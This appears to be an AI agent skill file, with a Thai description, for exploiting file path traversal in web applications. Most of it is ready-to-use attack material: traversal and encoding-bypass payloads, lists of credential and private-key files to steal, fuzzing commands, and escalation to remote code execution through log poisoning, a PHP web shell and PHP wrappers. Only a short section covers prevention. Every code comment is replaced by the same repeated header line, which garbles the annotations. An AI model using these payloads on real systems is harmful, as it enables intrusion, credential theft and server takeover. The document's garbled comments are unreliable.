---
name: File Path Traversal Testing
description: "สกิลสำหรับ File Path Traversal ใช้เมื่อต้องการแนวทาง ขั้นตอน Template หรือคำแนะนำเชิงปฏิบัติสำหรับงาน IT, SysAdmin, Infrastructure, Security, Network, Server และระบบปฏิบัติการ ในหัวข้อนี้"
metadata:
  author: zebbern
  version: "1.1"
---

# สกิล: File Path Traversal

## Purpose

Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.

## Prerequisites

### Required Tools
- Web browser with developer tools
- Burp Suite or OWASP ZAP
- cURL for testing payloads
- Wordlists for automation
- ffuf or wfuzz for fuzzing

### Required Knowledge
- HTTP request/response structure
- Linux and Windows filesystem layout
- Web application architecture
- Basic understanding of file APIs

## Outputs and Deliverables

1. **Vulnerability Report** - Identified traversal points and severity
2. **Exploitation Proof** - Extracted file contents
3. **Impact Assessment** - Accessible files and data exposure
4. **Remediation Guidance** - Secure coding recommendations

## Core Workflow

### Phase 1: Understanding Path Traversal

Path traversal occurs when applications use user input to construct file paths:

```php
// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);
```

Attack principle:
- `../` sequence moves up one directory
- Chain multiple sequences to reach root
- Access files outside intended directory

Impact:
- **Confidentiality** - Read sensitive files
- **Integrity** - Write/modify files (in some cases)
- **Availability** - Delete files (in some cases)
- **Code Execution** - If combined with file upload or log poisoning

### Phase 2: Identifying Traversal Points

Map application for potential file operations:

```bash
# สกิล: File Path Traversal
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=
```

Common vulnerable functionality:
- Image loading: `/image?filename=23.jpg`
- Template selection: `?template=blue.php`
- File downloads: `/download?file=report.pdf`
- Document viewers: `/view?doc=manual.pdf`
- Include mechanisms: `?page=about`

### Phase 3: Basic Exploitation Techniques

#### Simple Path Traversal

```bash
# สกิล: File Path Traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# สกิล: File Path Traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# สกิล: File Path Traversal
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding

# สกิล: File Path Traversal
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"
```

#### Absolute Path Injection

```bash
# สกิล: File Path Traversal
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ

# สกิล: File Path Traversal
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini
```

### Phase 4: Bypass Techniques

#### Bypass Stripped Traversal Sequences

```bash
# สกิล: File Path Traversal
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# สกิล: File Path Traversal
..././..././..././etc/passwd
....//....//etc/passwd

# สกิล: File Path Traversal
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
```

#### Bypass Extension Validation

```bash
# สกิล: File Path Traversal
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# สกิล: File Path Traversal
../../../etc/passwd...............................

# สกิล: File Path Traversal
../../../etc/passwd.jpg.php
```

#### Bypass Base Directory Validation

```bash
# สกิล: File Path Traversal
/var/www/images/../../../etc/passwd

# สกิล: File Path Traversal
images/../../../etc/passwd
```

#### Bypass Blacklist Filters

```bash
# สกิล: File Path Traversal
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd

# สกิล: File Path Traversal
%c0%2e%c0%2e%c0%af

# สกิล: File Path Traversal
%2e%2e/
%2e%2e%5c
..%5c
..%255c

# สกิล: File Path Traversal
....\\....\\etc\\passwd
```

### Phase 5: Linux Target Files

High-value files to target:

```bash
# สกิล: File Path Traversal
/etc/passwd           # User accounts
/etc/shadow           # Password hashes (root only)
/etc/group            # Group information
/etc/hosts            # Host mappings
/etc/hostname         # System hostname
/etc/issue            # System banner

# สกิล: File Path Traversal
/root/.ssh/id_rsa           # Root private key
/root/.ssh/authorized_keys  # Authorized keys
/home/<user>/.ssh/id_rsa    # User private keys
/etc/ssh/sshd_config        # SSH configuration

# สกิล: File Path Traversal
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log

# สกิล: File Path Traversal
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config

# สกิล: File Path Traversal
/proc/self/environ      # Environment variables
/proc/self/cmdline      # Process command line
/proc/self/fd/0         # File descriptors
/proc/version           # Kernel version

# สกิล: File Path Traversal
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf
```

### Phase 6: Windows Target Files

Windows-specific targets:

```bash
# สกิล: File Path Traversal
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM

# สกิล: File Path Traversal
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

# สกิล: File Path Traversal
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php

# สกิล: File Path Traversal
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\
```

### Phase 7: Automated Testing

#### Using Burp Suite

```
1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success
```

#### Using ffuf

```bash
# สกิล: File Path Traversal
ffuf -u "http://target.com/image?filename=FUZZ" \
     -w /usr/share/wordlists/traversal.txt \
     -mc 200

# สกิล: File Path Traversal
ffuf -u "http://target.com/page?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200,500 -ac
```

#### Using wfuzz

```bash
# สกิล: File Path Traversal
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
      --hc 404 \
      "http://target.com/index.php?file=FUZZ"

# สกิล: File Path Traversal
wfuzz -c -z file,traversal.txt \
      -H "Cookie: session=abc123" \
      "http://target.com/load?path=FUZZ"
```

### Phase 8: LFI to RCE Escalation

#### Log Poisoning

```bash
# สกิล: File Path Traversal
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# สกิล: File Path Traversal
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# สกิล: File Path Traversal
# สกิล: File Path Traversal
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
```

#### Proc/self/environ

```bash
# สกิล: File Path Traversal
curl -A "<?php system('id'); ?>" \
     "http://target.com/page?file=/proc/self/environ"

# สกิล: File Path Traversal
curl -A "<?php system(\$_GET['c']); ?>" \
     "http://target.com/page?file=/proc/self/environ&c=whoami"
```

#### PHP Wrapper Exploitation

```bash
# สกิล: File Path Traversal
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# สกิล: File Path Traversal
curl -X POST -d "<?php system('id'); ?>" \
     "http://target.com/page?file=php://input"

# สกิล: File Path Traversal
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"

# สกิล: File Path Traversal
curl "http://target.com/page?file=expect://id"
```

### Phase 9: Testing Methodology

Structured testing approach:

```bash
# สกิล: File Path Traversal
# สกิล: File Path Traversal

# สกิล: File Path Traversal
../../../etc/passwd

# สกิล: File Path Traversal
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# สกิล: File Path Traversal
....//....//....//etc/passwd
..;/..;/..;/etc/passwd

# สกิล: File Path Traversal
/etc/passwd

# สกิล: File Path Traversal
../../../etc/passwd%00.jpg

# สกิล: File Path Traversal
php://filter/convert.base64-encode/resource=index.php

# สกิล: File Path Traversal
```

### Phase 10: Prevention Measures

Secure coding practices:

```php
// PHP: Use basename() to strip paths
$filename = basename($_GET['file']);
$path = "/var/www/files/" . $filename;

// PHP: Validate against whitelist
$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
if (in_array($_GET['file'], $allowed)) {
    include("/var/www/files/" . $_GET['file']);
}

// PHP: Canonicalize and verify base path
$base = "/var/www/files/";
$realBase = realpath($base);
$userPath = $base . $_GET['file'];
$realUserPath = realpath($userPath);

if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
    include($realUserPath);
}
```

```python
# สกิล: File Path Traversal
import os

def safe_file_access(base_dir, filename):
    # Resolve to absolute path
    base = os.path.realpath(base_dir)
    file_path = os.path.realpath(os.path.join(base, filename))
    
    # Verify file is within base directory
    if file_path.startswith(base):
        return open(file_path, 'r').read()
    else:
        raise Exception("Access denied")
```

## Quick Reference

### Common Payloads

| Payload | Target |
|---------|--------|
| `../../../etc/passwd` | Linux password file |
| `..\..\..\..\windows\win.ini` | Windows INI file |
| `....//....//....//etc/passwd` | Bypass simple filter |
| `/etc/passwd` | Absolute path |
| `php://filter/convert.base64-encode/resource=config.php` | Source code |

### Target Files

| OS | File | Purpose |
|----|------|---------|
| Linux | `/etc/passwd` | User accounts |
| Linux | `/etc/shadow` | Password hashes |
| Linux | `/proc/self/environ` | Environment vars |
| Windows | `C:\windows\win.ini` | System config |
| Windows | `C:\boot.ini` | Boot config |
| Web | `wp-config.php` | WordPress DB creds |

### Encoding Variants

| Type | Example |
|------|---------|
| URL Encoding | `%2e%2e%2f` = `../` |
| Double Encoding | `%252e%252e%252f` = `../` |
| Unicode | `%c0%af` = `/` |
| Null Byte | `%00` |

## Constraints and Limitations

### Permission Restrictions
- Cannot read files application user cannot access
- Shadow file requires root privileges
- Many files have restrictive permissions

### Application Restrictions
- Extension validation may limit file types
- Base path validation may restrict scope
- WAF may block common payloads

### Testing Considerations
- Respect authorized scope
- Avoid accessing genuinely sensitive data
- Document all successful access

## Troubleshooting

| Problem | Solutions |
|---------|-----------|
| No response difference | Try encoding, blind traversal, different files |
| Payload blocked | Use encoding variants, nested sequences, case variations |
| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |
